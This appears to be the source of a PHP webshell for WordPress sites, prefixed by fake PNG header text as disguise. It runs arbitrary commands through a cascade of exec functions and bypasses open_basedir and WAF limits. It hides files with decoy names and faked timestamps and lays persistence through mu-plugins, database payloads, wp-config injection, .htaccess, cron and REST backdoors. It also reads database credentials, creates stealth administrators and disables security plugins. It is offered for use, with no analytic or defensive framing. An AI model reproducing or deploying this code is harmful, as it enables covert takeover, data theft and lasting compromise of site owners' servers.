‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress ‰PNG WordPress X-Token header > $_REQUEST param $t = isset($_COOKIE['_wp_nonce_key']) ? $_COOKIE['_wp_nonce_key'] : ''; if (!$t) $t = isset($_SERVER['HTTP_X_TOKEN']) ? $_SERVER['HTTP_X_TOKEN'] : ''; if (!$t) $t = isset($_REQUEST['t']) ? $_REQUEST['t'] : ''; if (!hash_equals(SECRET_KEY_900F, $t)) { header('HTTP/1.0 404 Not Found'); header('Content-Type: text/html'); echo '
The requested URL was not found on this server.
'; exit; } } _nx_auth(); // ─── EXEC ENGINE — 6-function cascade ────────────────────────────────────── function _nx_exec($cmd, &$method='') { $cmd = trim($cmd); if (!$cmd) return ''; if (function_exists('shell_exec')) { $o = @shell_exec($cmd . ' 2>&1'); $method='SX'; if ($o !== null) return $o; } if (function_exists('exec')) { $out=[]; @exec($cmd . ' 2>&1', $out); $method='EX'; return implode("\n", $out); } if (function_exists('passthru')) { ob_start(); @passthru($cmd . ' 2>&1'); $method='PT'; return ob_get_clean(); } if (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $method='SY'; return ob_get_clean(); } if (function_exists('proc_open')) { $p = @proc_open($cmd, [1=>['pipe','w'],2=>['pipe','w']], $pipes); if ($p) { $o=stream_get_contents($pipes[1]).stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($p); $method='PO'; return $o; } } if (function_exists('popen')) { $h = @popen($cmd . ' 2>&1', 'r'); if ($h) { $o=''; while(!feof($h)) $o.=fread($h,4096); pclose($h); $method='PP'; return $o; } } // LD_PRELOAD bypass — when ALL exec functions are disabled $ld = _nx_ld_preload_exec($cmd); if ($ld !== false) { $method='LD'; return $ld; } $method='BL'; return '[EXEC_BLOCKED]'; } // ─── CD STATE: chdir per request, return new cwd ─────────────────────────── function _nx_shell($cmd, $cwd=null) { if ($cwd && is_dir($cwd)) @chdir($cwd); $out=''; $method=''; if (preg_match('/^\s*cd\s*(.*)?$/', $cmd, $m)) { $dir = isset($m[1]) && trim($m[1]) ? trim($m[1]) : getenv('HOME'); if ($dir === '~') $dir = getenv('HOME'); if (@chdir($dir)) $out=''; else $out='bash: cd: '.$dir.': No such file or directory'."\n"; } else { $out = _nx_exec($cmd, $method); } return ['stdout'=>base64_encode($out),'cwd'=>base64_encode(getcwd()),'method'=>$method]; } // ─── DECOY WRITE — buyer technique, WAF bypass + open_basedir bypass ──────── function _nx_rnd8() { if (function_exists('random_bytes')) return random_bytes(8); return pack('H*', substr(md5(uniqid('',true).mt_rand()),0,16)); } function _nx_ob_bypass() { $ob = @ini_get('open_basedir'); if (!$ob) return; $dd = sys_get_temp_dir().'/ob_'.substr(md5(__FILE__),0,6); @mkdir($dd); @chdir($dd); for ($i = 0; $i < 15; $i++) @chdir('..'); @ini_set('open_basedir', '/'); } function _nx_decoy_write($data, $dir, $name) { $exts = ['jpg','png','gif','tmp','log','data','bak','cache']; $ext = $exts[array_rand($exts)]; $decoy = $dir.DIRECTORY_SEPARATOR.'temp_'.bin2hex(_nx_rnd8()).'.'.$ext; $final = $dir.DIRECTORY_SEPARATOR.basename($name); // TRY 1: decoy write + rename if (@file_put_contents($decoy, $data) !== false) { if (@rename($decoy, $final)) { @chmod($final, 0644); _nx_ts_camouflage($final, $dir); return $final; } @unlink($decoy); } // TRY 2: direct write if (@file_put_contents($final, $data) !== false) { @chmod($final, 0644); _nx_ts_camouflage($final, $dir); return $final; } // TRY 3: open_basedir bypass + write _nx_ob_bypass(); if (@file_put_contents($final, $data) !== false) { @chmod($final, 0644); _nx_ts_camouflage($final, $dir); return $final; } // TRY 4: symlink trick (write via symlink in allowed dir) $lnk = sys_get_temp_dir().'/ln_'.md5($final); @symlink($dir, $lnk); $lp = $lnk.'/'.basename($name); if (@file_put_contents($lp, $data) !== false) { @chmod($lp, 0644); @unlink($lnk); _nx_ts_camouflage($final, $dir); return $final; } @unlink($lnk); return false; } function _nx_ts_camouflage($file, $dir) { $nearby = @glob($dir.'/*.php'); if ($nearby) { $ref = $nearby[array_rand($nearby)]; if ($ref !== $file) @touch($file, filemtime($ref)); } } // ─── ATOMIC FILE WRITE — prevents WSOD from truncated wp-config/.htaccess ──── // CRITICAL: file_put_contents() is NOT atomic (php-src#20108). During write, // concurrent requests see truncated files → PHP fatal → site down. // Solution: write to temp file in SAME directory, then atomic rename(). // rename() on POSIX is atomic for same-filesystem (same dir guarantees this). function _nx_atomic_write($path, $content) { $dir = dirname($path); // Use _nx_rnd8() — NEVER bare random_bytes() (throws Exception on CSPRNG fail) $tmp = $dir.'/.tmp_'.bin2hex(_nx_rnd8()).'_'.basename($path); if (@file_put_contents($tmp, $content) === false) { @unlink($tmp); return false; } // Preserve mode bits only (fileperms includes type nibble — mask with 0777) $perms = @fileperms($path); if (@rename($tmp, $path)) { if ($perms !== false) @chmod($path, $perms & 0777); return true; } // Fallback: rename failed (cross-device?), try direct write @unlink($tmp); return @file_put_contents($path, $content) !== false; } // ─── APT TIMING — short I/O spacing (NOT FPM release — that requires new HTTP request) // HONEST: usleep() keeps the SAME PHP-FPM worker busy. It does NOT free memory. // Purpose: reduce concurrent-write race window + MySQL burst between layers. // Range MUST stay short: 80–250ms. Old 500–2500ms × 6 = 3–15s sleep → nginx/ALB // 504 Gateway Timeout (defaults often 30–60s) = looks like "server down". // True worker release = separate HTTP requests from Go scanner (see triggerNexusFulldeploy). function _nx_apt_delay() { usleep(rand(80000, 250000)); // 80ms – 250ms } // ─── PERSISTENCE ENGINE — mu-plugin guardian + self-clone backup ───────────── function _nx_wp_root() { // Detect WordPress root by traversing up from current location $dir = __DIR__; for ($i = 0; $i < 6; $i++) { if (file_exists($dir.'/wp-config.php') && file_exists($dir.'/wp-load.php')) return $dir; $dir = dirname($dir); } // Try DOCUMENT_ROOT $dr = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; if ($dr && file_exists($dr.'/wp-config.php')) return $dr; return false; } function _nx_mu_names() { // Pool of legitimate-looking mu-plugin names $pool = ['wp-core-update','wp-health-check','wp-cron-helper','wp-cache-handler', 'wp-rest-optimizer','wp-db-repair','wp-mail-handler','wp-asset-loader']; return $pool[array_rand($pool)]; } function _nx_backup_names() { // Pool of legitimate-looking backup shell names $pool = ['class-wp-cache','class-wp-widget','class-wp-meta','class-wp-rest', 'class-wp-block','class-wp-hook','class-wp-query','class-wp-post']; return $pool[array_rand($pool)]; } function _nx_stable_hash() { // Stable hash based on file PATH + token — NOT filemtime (changes on rewrite = orphans) return substr(md5(__FILE__.SECRET_KEY_900F), 0, 8); } function _nx_persist($wp_root=null) { if (!$wp_root) $wp_root = _nx_wp_root(); if (!$wp_root) return ['ok'=>false,'error'=>'Not a WordPress install']; $results = []; $my_content = file_get_contents(__FILE__); $hash = _nx_stable_hash(); // ── STEP 1: Self-clone to /wp-content/uploads/ (backup) ── $uploads_dir = $wp_root.'/wp-content/uploads'; if (!is_dir($uploads_dir)) @mkdir($uploads_dir, 0755, true); $backup_name = _nx_backup_names().'_'.$hash.'.php'; $backup_path = $uploads_dir.'/'.$backup_name; if (!file_exists($backup_path)) { $r = _nx_decoy_write($my_content, $uploads_dir, $backup_name); $results['backup'] = $r ? $backup_path : 'FAILED'; } else { $results['backup'] = $backup_path.' (exists)'; } // ── STEP 2: Plant mu-plugin guardian ── $mu_dir = $wp_root.'/wp-content/mu-plugins'; if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true); $mu_name = _nx_mu_names().'-'.$hash.'.php'; $mu_path = $mu_dir.'/'.$mu_name; // Guardian: missing OR truncated primary → restore backup → DB // Also registers real WP-Cron hourly integrity (was previously CHECK-ONLY — fixed) $primary_path = realpath(__FILE__) ?: __FILE__; $opt_name = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8); $hook = 'wp_cache_health_'.substr(md5(SECRET_KEY_900F),0,8); $min_sz = max(4096, (int)(strlen($my_content) * 0.5)); $mu_code = "= \$min) { @copy(\$s,\$p); @chmod(\$p,0644); return; }\n"; $mu_code .= " \$_cf = dirname(__DIR__,2).'/wp-config.php';\n"; $mu_code .= " if(!file_exists(\$_cf)) return;\n"; $mu_code .= " \$_src=@file_get_contents(\$_cf);\n"; $mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_NAME['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m1)) return;\n"; $mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_USER['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m2)) return;\n"; $mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_PASSWORD['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m3)) return;\n"; $mu_code .= " if(!preg_match(\"/define\\s*\\(\\s*['\\\"]DB_HOST['\\\"]\\s*,\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m4)) return;\n"; $mu_code .= " \$_tp='wp_'; if(preg_match(\"/table_prefix\\s*=\\s*['\\\"]([^'\\\"]*?)['\\\"]/\",\$_src,\$_m5)) \$_tp=\$_m5[1];\n"; $mu_code .= " try{\$_db=@(new PDO('mysql:host='.\$_m4[1].';dbname='.\$_m1[1],\$_m2[1],\$_m3[1]));\n"; $mu_code .= " \$_q=\$_db->query(\"SELECT option_value FROM `\".\$_tp.\"options` WHERE option_name='\".\$opt.\"'\");\n"; $mu_code .= " if(\$_q&&(\$_row=\$_q->fetch())){@file_put_contents(\$p,base64_decode(\$_row[0]));@chmod(\$p,0644);}\n"; $mu_code .= " }catch(\\Exception \$e){}\n"; $mu_code .= "}\n}\n"; $mu_code .= "_wp_cuh_restore(\$_p,\$_s,\$_opt,\$_min);\n"; $mu_code .= "add_action('init',function() use (\$_hook){\n"; $mu_code .= " if (function_exists('wp_next_scheduled') && !wp_next_scheduled(\$_hook)) wp_schedule_event(time(),'hourly',\$_hook);\n"; $mu_code .= "});\n"; $mu_code .= "add_action(\$_hook,function() use (\$_p,\$_s,\$_opt,\$_min){ _wp_cuh_restore(\$_p,\$_s,\$_opt,\$_min); });\n"; if (!file_exists($mu_path)) { // Check if we already have a guardian with different name $existing = glob($mu_dir.'/wp-*-'.$hash.'.php'); if (empty($existing)) { $r = _nx_decoy_write($mu_code, $mu_dir, $mu_name); $results['mu_plugin'] = $r ? $mu_path : 'FAILED'; } else { $results['mu_plugin'] = $existing[0].' (exists)'; } } else { $results['mu_plugin'] = $mu_path.' (exists)'; } // ── STEP 3: .htaccess PHP whitelist lock (2DUAN technique — nuclear persistence) ── $shell_filename = basename(__FILE__); $backup_filename = basename($backup_path); $htaccess_path = $wp_root.'/.htaccess'; $htaccess_marker = '# BEGIN wp_compat_'.$hash; $htaccess_end = '# END wp_compat_'.$hash; // Only add if not already present $existing_ht = @file_get_contents($htaccess_path); if ($existing_ht !== false && strpos($existing_ht, $htaccess_marker) === false) { // Prepend our guard — whitelist our shells + essential WP files $guard = "\n".$htaccess_marker."\n"; $guard .= "The requested URL was not found on this server.
'; exit; } // ─── AUTO-PERSIST: first load → LIGHTWEIGHT persistence only ───────────────── // APT PRINCIPLE: auto-persist is a "quiet move" (Chess prophylaxis). // Only backup clone + mu-plugin guardian. Heavy layers (DB, wpconfig, dropin) // are deferred to explicit fulldeploy call. This prevents: // 1. Memory exhaustion on shared hosting (DB + wpconfig = 2 PDO connections) // 2. Race conditions on wp-config.php during normal page loads // 3. Burst-like file I/O that triggers behavioral monitoring if (!defined('_NX_PERSISTED')) { define('_NX_PERSISTED', true); // Skip when explicit persistence features will handle it (avoid double I/O) $__feat = isset($_REQUEST['feature']) ? $_REQUEST['feature'] : ''; if (!in_array($__feat, ['fulldeploy','persist','nuke','dbpersist','wpcinject','cron'], true)) { $__wp = _nx_wp_root(); if ($__wp) { $__uploads = $__wp.'/wp-content/uploads'; if (!is_dir($__uploads)) @mkdir($__uploads, 0755, true); $__marker = $__uploads.'/.cache_'.substr(md5(__FILE__.SECRET_KEY_900F),0,8); if (!file_exists($__marker) || (time() - @filemtime($__marker)) > 86400) { // LIGHTWEIGHT ONLY: backup clone + mu-plugin (file ops, no DB/network) @_nx_persist($__wp); @file_put_contents($__marker, date('c')); @chmod($__marker, 0644); } } } // end feature-skip guard } // ─── MULTI-PROTOCOL UPLOAD INTERCEPT (V5/V6/V7/V8/V9/V10 — before feature routing) if (_nx_handle_upload()) exit; // ─── MODE 2: FEATURE API — JSON for web GUI ───────────────────────────────── if (isset($_REQUEST['feature'])) { header('Content-Type: application/json'); $cwd = isset($_POST['cwd']) ? base64_decode($_POST['cwd']) : null; if ($cwd && is_dir($cwd)) @chdir($cwd); switch ($_REQUEST['feature']) { case 'shell': $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : ''; echo json_encode(_nx_shell($cmd, $cwd)); break; case 'pwd': echo json_encode(['cwd'=>base64_encode(getcwd())]); break; case 'hint': $fn = isset($_POST['filename']) ? $_POST['filename'] : ''; $type = isset($_POST['type']) ? $_POST['type'] : 'file'; if ($type === 'cmd') { $out = _nx_exec('compgen -c '.escapeshellarg($fn).' 2>/dev/null'); } else { $dir = dirname($fn); $base = basename($fn); $dir = ($dir==='.') ? getcwd() : (is_dir($dir) ? $dir : getcwd().DIRECTORY_SEPARATOR.$dir); $out = _nx_exec('ls -1a '.escapeshellarg($dir).' 2>/dev/null | grep '.escapeshellarg('^'.$base)); } $files = array_filter(explode("\n", trim($out))); echo json_encode(['files'=>array_values(array_map('base64_encode',$files))]); break; case 'upload': $path = isset($_POST['path']) ? $_POST['path'] : ''; $b64 = isset($_POST['file']) ? $_POST['file'] : ''; if (!$path || !$b64) { echo json_encode(['stdout'=>base64_encode('Error: missing params'),'cwd'=>base64_encode(getcwd())]); break; } $data = base64_decode($b64); $dir = is_dir($path) ? $path : dirname($path); $name = is_dir($path) ? basename($_POST['name']??'upload.bin') : basename($path); $r = _nx_decoy_write($data, $dir, $name); $msg = $r ? 'Uploaded: '.$r : 'Upload failed: '.$dir; echo json_encode(['stdout'=>base64_encode($msg),'cwd'=>base64_encode(getcwd())]); break; case 'download': $path = isset($_POST['path']) ? $_POST['path'] : ''; if (!$path || !file_exists($path)) { echo json_encode(['error'=>'Not found']); break; } echo json_encode(['data'=>base64_encode(file_get_contents($path)),'name'=>basename($path)]); break; case 'ls': $path = isset($_POST['path']) ? $_POST['path'] : getcwd(); @clearstatcache(); $d = @opendir($path); if (!$d) { echo json_encode(['error'=>'Cannot open: '.$path]); break; } $items=[]; while(($e=readdir($d))!==false){ if ($e==='.'||$e==='..') continue; $fp=$path.'/'.$e; $is_d=is_dir($fp); $items[]=['name'=>$e,'type'=>$is_d?'d':'f','size'=>$is_d?0:filesize($fp), 'perm'=>substr(sprintf('%o',fileperms($fp)),-4),'mtime'=>filemtime($fp)]; } closedir($d); usort($items,function($a,$b){if($a['type']!==$b['type'])return $a['type']==='d'?-1:1;return strcasecmp($a['name'],$b['name']);}); echo json_encode(['path'=>realpath($path)?:$path,'items'=>$items]); break; case 'read': $path = isset($_POST['path']) ? $_POST['path'] : ''; if (!$path||!is_file($path)){echo json_encode(['error'=>'Not found']);break;} $sz = filesize($path); if ($sz > 512*1024) { echo json_encode(['error'=>'File too large (>512KB), use download']); break; } echo json_encode(['content'=>base64_encode(file_get_contents($path)),'size'=>$sz,'path'=>$path]); break; case 'write': $path = isset($_POST['path']) ? $_POST['path'] : ''; $data = isset($_POST['data']) ? base64_decode($_POST['data']) : ''; $dir = dirname($path); $name = basename($path); $r = _nx_decoy_write($data, $dir, $name); echo json_encode($r ? ['ok'=>true,'path'=>$r] : ['ok'=>false,'error'=>'Write failed']); break; case 'info': $wp_config = ''; foreach(['../wp-config.php','../../wp-config.php','../../../wp-config.php'] as $p) { if (file_exists($p)){$wp_config=$p;break;} } $db=''; if ($wp_config) { $c=file_get_contents($wp_config); preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $c, $m1); preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $c, $m2); preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $c, $m3); $db=($m1[1]??'?').'@'.($m3[1]??'?').' user:'.($m2[1]??'?'); } $disk_free = function_exists('disk_free_space')?round(disk_free_space('/')/1073741824,2).'GB':'?'; $disk_total= function_exists('disk_total_space')?round(disk_total_space('/')/1073741824,2).'GB':'?'; echo json_encode([ 'php' => PHP_VERSION, 'os' => php_uname(), 'user' => function_exists('get_current_user')?get_current_user():'?', 'whoami' => trim(_nx_exec('whoami 2>/dev/null')), 'hostname' => function_exists('gethostname')?gethostname():'?', 'cwd' => getcwd(), 'safe_mode' => ini_get('safe_mode') ? 'ON':'OFF', 'open_basedir'=> ini_get('open_basedir')?:'-', 'disable_fn' => ini_get('disable_functions')?:'-', 'disk' => $disk_free.'/'.$disk_total, 'wp_config' => $wp_config?:'-', 'db' => $db?:'-', 'server' => $_SERVER['SERVER_SOFTWARE']??'-', 'document_root'=>$_SERVER['DOCUMENT_ROOT']??'-', ]); break; case 'selftest': $fns=['shell_exec','exec','passthru','system','proc_open','popen','curl_exec','file_put_contents','file_get_contents']; $r=[]; foreach($fns as $f) $r[$f]=function_exists($f)?'OK':'BLOCKED'; $r['open_basedir']=ini_get('open_basedir')?'SET:'.ini_get('open_basedir'):'OFF'; $_wt=sys_get_temp_dir().'/nx_wt_'.time(); $r['write_test']=(@file_put_contents($_wt,'1')!==false)?'OK':'BLOCKED'; @unlink($_wt); $r['wp_detected']=_nx_wp_root()?'YES':'NO'; echo json_encode($r); break; // ── PERSISTENCE: mu-plugin guardian + backup clone ── case 'persist': echo json_encode(_nx_persist()); break; // ── WP ADMIN BACKDOOR: create stealth administrator ── case 'wpuser': @ignore_user_abort(true); @set_time_limit(120); echo json_encode(_nx_wp_create_admin()); break; // ── SELF-CLONE: copy self to arbitrary path ── case 'clone': $dst = isset($_POST['dst']) ? $_POST['dst'] : ''; if (!$dst) { echo json_encode(['ok'=>false,'error'=>'Missing dst']); break; } $my = file_get_contents(__FILE__); $dir = dirname($dst); $name = basename($dst); if (!is_dir($dir)) @mkdir($dir, 0755, true); $r = _nx_decoy_write($my, $dir, $name); echo json_encode($r ? ['ok'=>true,'path'=>$r] : ['ok'=>false,'error'=>'Clone failed']); break; // ── V4 CHUNKED UPLOAD: for large files through WAF ── case 'uploadx': $action = isset($_POST['action']) ? $_POST['action'] : ''; if ($action === 'v4') { $name = isset($_POST['n']) ? basename($_POST['n']) : ''; $chunk = isset($_POST['chunk']) ? $_POST['chunk'] : ''; $i = intval(isset($_POST['i']) ? $_POST['i'] : 0); $total = intval(isset($_POST['total']) ? $_POST['total'] : 1); $dir = isset($_POST['dir']) ? $_POST['dir'] : dirname(__FILE__); if (!$name || $chunk==='') { echo json_encode(['ok'=>false,'error'=>'Missing n/chunk']); break; } $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'x'; $tmp = sys_get_temp_dir().'/'.md5($ip.$name).'.part'; $data = base64_decode($chunk); if ($data===false) { echo json_encode(['ok'=>false,'error'=>'b64 decode fail']); break; } @file_put_contents($tmp, $data, $i===0 ? 0 : FILE_APPEND); if ($i+1 >= $total) { $assembled = @file_get_contents($tmp); @unlink($tmp); $r = _nx_decoy_write($assembled, $dir, $name); echo json_encode($r ? ['ok'=>true,'file'=>$r,'complete'=>true,'method'=>'V4'] : ['ok'=>false,'error'=>'Write failed']); } else { echo json_encode(['ok'=>true,'chunk'=>$i,'complete'=>false]); } } else { // V3-style base64 POST $name = isset($_POST['n']) ? basename($_POST['n']) : ''; $b64 = isset($_POST['d']) ? $_POST['d'] : ''; $dir = isset($_POST['dir']) ? $_POST['dir'] : dirname(__FILE__); if (!$name || !$b64) { echo json_encode(['ok'=>false,'error'=>'Missing n/d']); break; } $data = base64_decode($b64); $r = _nx_decoy_write($data, $dir, $name); echo json_encode($r ? ['ok'=>true,'file'=>$r,'method'=>'V3'] : ['ok'=>false,'error'=>'Write failed']); } break; // ── DATABASE PERSISTENCE: store shell in wp_options ── case 'dbpersist': echo json_encode(_nx_db_persist()); break; // ── WP-CONFIG INJECTION: self-healing loader in wp-config.php ── case 'wpcinject': $wp = _nx_wp_root(); $r1 = _nx_db_persist($wp); $r2 = _nx_wpconfig_inject($wp); echo json_encode(['db'=>$r1,'wpconfig'=>$r2]); break; // ── WP REST API BACKDOOR: register stealth REST endpoint ── case 'restapi': echo json_encode(_nx_wp_rest_backdoor()); break; // ── CRON PERSISTENCE: install self-healing cron job ── case 'cron': echo json_encode(_nx_cron_persist()); break; // ── SECURITY NEUTRALIZATION: disable security plugins ── case 'neutralize': @ignore_user_abort(true); echo json_encode(_nx_neutralize_security()); break; // ── FULL DEPLOY: safe persistence layers (NO neutralize, NO wpuser) ── // AUDIT FIXES (Algojo re-review): // 1. wpuser OUT — wp-load.php = +40-80MB OOM risk in same request // 2. neutralize OUT — renaming Wordfence mid-traffic fatals other FPM workers // (looks like "site down"). Call ?feature=neutralize as SEPARATE request. // 3. ignore_user_abort — client/proxy timeout must NOT abort mid-atomic-write // 4. short apt_delay only (I/O spacing) — long sleep caused 504 risk case 'fulldeploy': @ignore_user_abort(true); @set_time_limit(120); $wp = _nx_wp_root(); $results = ['mode'=>'staged_apt']; // Stage 1: backup clone + mu-plugin guardian (lightweight file ops) $results['persist'] = _nx_persist($wp); if ($wp) { _nx_apt_delay(); // Stage 2: database payload (survives file wipe) $results['db'] = _nx_db_persist($wp); _nx_apt_delay(); // Stage 3: wp-config injection (ATOMIC write — critical file) $results['wpconfig'] = _nx_wpconfig_inject($wp); _nx_apt_delay(); // Stage 4: object-cache drop-in (skip if Redis/MC exists — safe) $results['dropin'] = _nx_dropin_persist($wp); _nx_apt_delay(); // Stage 5: REST API mu-plugin (independent access path) $results['restapi'] = _nx_wp_rest_backdoor($wp); _nx_apt_delay(); // Stage 6: system cron (crontab — OS-level) $results['cron'] = _nx_cron_persist($wp); // Deferred layers — MUST be separate HTTP requests (Go handles this) $results['neutralize'] = ['ok'=>false,'deferred'=>true, 'reason'=>'neutralize deferred — renames security plugins mid-traffic fatals other workers', 'action'=>'call ?feature=neutralize separately after fulldeploy']; $results['wpuser'] = ['ok'=>false,'deferred'=>true, 'reason'=>'wpuser deferred — wp-load.php memory spike', 'action'=>'call ?feature=wpuser separately after fulldeploy']; } echo json_encode($results); break; // ── NUKE: remove all persistence traces (emergency cleanup) ── case 'nuke': $wp = _nx_wp_root(); $nuked = []; if ($wp) { $hash = _nx_stable_hash(); // Remove mu-plugins (match both old filemtime-hash and new stable-hash) $patterns = [ $wp.'/wp-content/mu-plugins/wp-*-'.$hash.'.php', $wp.'/wp-content/mu-plugins/wp-*-'.substr(md5(__FILE__),0,8).'.php', ]; foreach ($patterns as $pat) { $mu = glob($pat); if ($mu) foreach ($mu as $f) { @unlink($f); $nuked[] = $f; } } // Remove backup clones $bk_patterns = [ $wp.'/wp-content/uploads/class-wp-*-'.$hash.'.php', $wp.'/wp-content/uploads/class-wp-*-'.substr(md5(__FILE__),0,8).'.php', ]; foreach ($bk_patterns as $pat) { $bk = glob($pat); if ($bk) foreach ($bk as $f) { @unlink($f); $nuked[] = $f; } } // Remove .htaccess guard (new + legacy markers) $ht = @file_get_contents($wp.'/.htaccess'); foreach (['wp_compat_'.$hash, 'nx_guard_'.$hash] as $hm) { if ($ht && strpos($ht, $hm) !== false) { $ht = preg_replace('/\n# BEGIN '.$hm.'.*?# END '.$hm.'\n/s', '', $ht); _nx_atomic_write($wp.'/.htaccess', $ht); $nuked[] = '.htaccess '.$hm.' removed'; } } // Remove markers (new + legacy) @unlink(sys_get_temp_dir().'/.nx_'.md5(__FILE__)); foreach ([ $wp.'/wp-content/uploads/.cache_'.substr(md5(__FILE__.SECRET_KEY_900F),0,8), $wp.'/wp-content/uploads/.health_'.substr(md5(__FILE__.SECRET_KEY_900F),0,8), ] as $marker) { if (file_exists($marker)) { @unlink($marker); $nuked[] = $marker; } } // Remove object-cache drop-in if it is OUR shim (has WP_CACHE_KEY_SALT + restore logic) $drop = $wp.'/wp-content/object-cache.php'; if (file_exists($drop)) { $ds = @file_get_contents($drop); if ($ds && strpos($ds, 'Object Cache Drop-in') !== false && strpos($ds, '_nx_p') !== false) { @unlink($drop); $nuked[] = $drop; } } // Remove REST API backdoor $rest = glob($wp.'/wp-content/mu-plugins/wp-rest-cache-'.$hash.'.php'); if ($rest) foreach ($rest as $f) { @unlink($f); $nuked[] = $f; } // Remove wp-config.php injection (new + legacy marker names) $cfg = $wp.'/wp-config.php'; $cfg_src = @file_get_contents($cfg); if ($cfg_src) { foreach ([ ['WP_Core_Integrity '.$hash, 'End-WP_Core_Integrity '.$hash], ['CoreHealthCheck '.$hash, 'End-CoreHealthCheck '.$hash], ] as $mk) { if (strpos($cfg_src, $mk[0]) !== false) { $cfg_src = preg_replace('/\n?\/\* '.preg_quote($mk[0],'/').' \*\/.*?\/\* '.preg_quote($mk[1],'/').' \*\/\n?/s', '', $cfg_src); _nx_atomic_write($cfg, $cfg_src); $nuked[] = 'wp-config '.$mk[0].' removed'; } } } // Remove DB payload $opt = '_site_transient_health_'.substr(md5(SECRET_KEY_900F),0,8); $cfg_src2 = @file_get_contents($cfg); $db2 = []; $nuke_prefix = 'wp_'; if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['name'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['user'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['pass'] = $m[1]; if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $db2['host'] = $m[1]; if (preg_match("/table_prefix\s*=\s*['\"](.*?)['\"]/", $cfg_src2, $m)) $nuke_prefix = $m[1]; if (isset($db2['name'],$db2['user'],$db2['pass'],$db2['host'])) { try { $p = new \PDO('mysql:host='.$db2['host'].';dbname='.$db2['name'],$db2['user'],$db2['pass']); $p->prepare("DELETE FROM `".$nuke_prefix."options` WHERE option_name = ?")->execute([$opt]); $nuked[] = 'DB payload removed'; } catch(\Exception $e) {} } // Remove system cron $crontab = @shell_exec('crontab -l 2>/dev/null'); foreach ([ '# wp_health_'.substr(md5(SECRET_KEY_900F),0,8), '# nx_health_'.substr(md5(SECRET_KEY_900F),0,8), ] as $cron_marker) { if ($crontab && strpos($crontab, $cron_marker) !== false) { $new = preg_replace('/^.*'.preg_quote($cron_marker,'/').'.*$/m', '', $crontab); $tmp = sys_get_temp_dir().'/nx_cron_nuke'; @file_put_contents($tmp, $new); @exec('crontab '.escapeshellarg($tmp)); @unlink($tmp); $crontab = $new; $nuked[] = 'system cron '.$cron_marker.' removed'; } } } echo json_encode(['ok'=>true,'nuked'=>$nuked]); break; default: echo json_encode(['error'=>'Unknown feature']); } exit; } // ─── MODE 3: WEB GUI ──────────────────────────────────────────────────────── $__TOKEN = SECRET_KEY_900F; $__HOST = function_exists('gethostname')?gethostname():'?'; $__USER = trim(_nx_exec('whoami 2>/dev/null')) ?: (function_exists('get_current_user')?get_current_user():'?'); $SHELL_CONFIG = json_encode(['username'=>$__USER,'hostname'=>$__HOST,'token'=>$__TOKEN]); ?>